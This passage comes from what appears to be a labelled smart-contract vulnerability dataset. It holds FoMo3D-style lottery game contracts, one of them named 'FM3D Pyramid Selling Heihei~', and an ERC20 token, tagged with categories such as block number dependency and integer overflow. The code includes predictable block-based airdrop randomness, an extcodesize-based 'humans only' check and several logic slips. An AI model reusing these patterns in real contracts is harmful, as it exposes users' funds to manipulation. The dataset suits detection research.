pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < preIcoMax_ && plyrRnds_[_pID][_rID].eth.add(_eth) > preIcoPerEth_) { uint256 _availableLimit = (preIcoPerEth_).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); round_[_rID].pot = _pot.add(_com); round_[_rID].pot = _pot.add(_p3d); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { uint256 _potAmount = _p3d; round_[_rID].pot = round_[_rID].pot.add(_potAmount); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin, ""only admin can activate""); require(activated_ == false, ""FOMO Short already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 1074.sol,"pragma solidity ^0.4.18; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract TheExtraordinarySpacemen is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function TheExtraordinarySpacemen() public { symbol = ""EXSP""; name = ""THE EXTRAORDINARY SPACEMEN""; decimals = 8; _totalSupply = 800000000; balances[0xee8c4f0B02b1eC8DBE5C8cDD5B41d7D8f660c84c] = _totalSupply; Transfer(address(0), 0xee8c4f0B02b1eC8DBE5C8cDD5B41d7D8f660c84c, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",./Dataset/integer overflow (OF)/,4,4 2129.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onRoundEnded1 ( uint256 winrSeq, uint256 winPID, uint256 winVault ); event onRoundEnded2 ( uint256 maxEthPID, uint256 maxEthVault, uint256 maxAffPID, uint256 maxAffVault ); } contract modularLong is F3Devents {} contract FoMo3Dlong is modularLong { using SafeMath for *; using NameFilter for string; using F3DKeysCalcLong for uint256; address constant private god = 0xe1B35fEBaB9Ff6da5b29C3A7A44eef06cD86B0f9; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xf79341b38865310e1a00d7630bd1decc92a8f8b1); string constant public name = ""FM3D Pyramid Selling Heihei~""; string constant public symbol = ""F3D""; uint256 private rndExtra_ = 0 minutes; uint256 private rndGap_ = 0 minutes; uint256 constant private rndInit_ = 1 hours; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 24 hours; uint256[3] private potToWinners_ = [30,15,10]; uint256 constant private potToMaxEth_ = 20; uint256 constant private potToMaxAff_ = 20; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; uint256[3] private affPerLv_ = [20,10,5]; constructor() public { } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function determineAffID(uint256 _pID, uint256 _inAffID) private returns(uint256){ if(plyr_[_pID].laff == 0 && 0 != _inAffID && _pID != _inAffID && plyr_[_inAffID].name != ''){ plyr_[_pID].laff = _inAffID; uint256 _rID = (0 == rID_)?1:rID_; plyrRnds_[_rID][_inAffID].affNum = plyrRnds_[_rID][_inAffID].affNum.add(1); if( plyrRnds_[_rID][round_[_rID].maxAffPID].affNum < plyrRnds_[_rID][_inAffID].affNum){ round_[_rID].maxAffPID = _inAffID; } } return plyr_[_pID].laff; } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; _affCode = 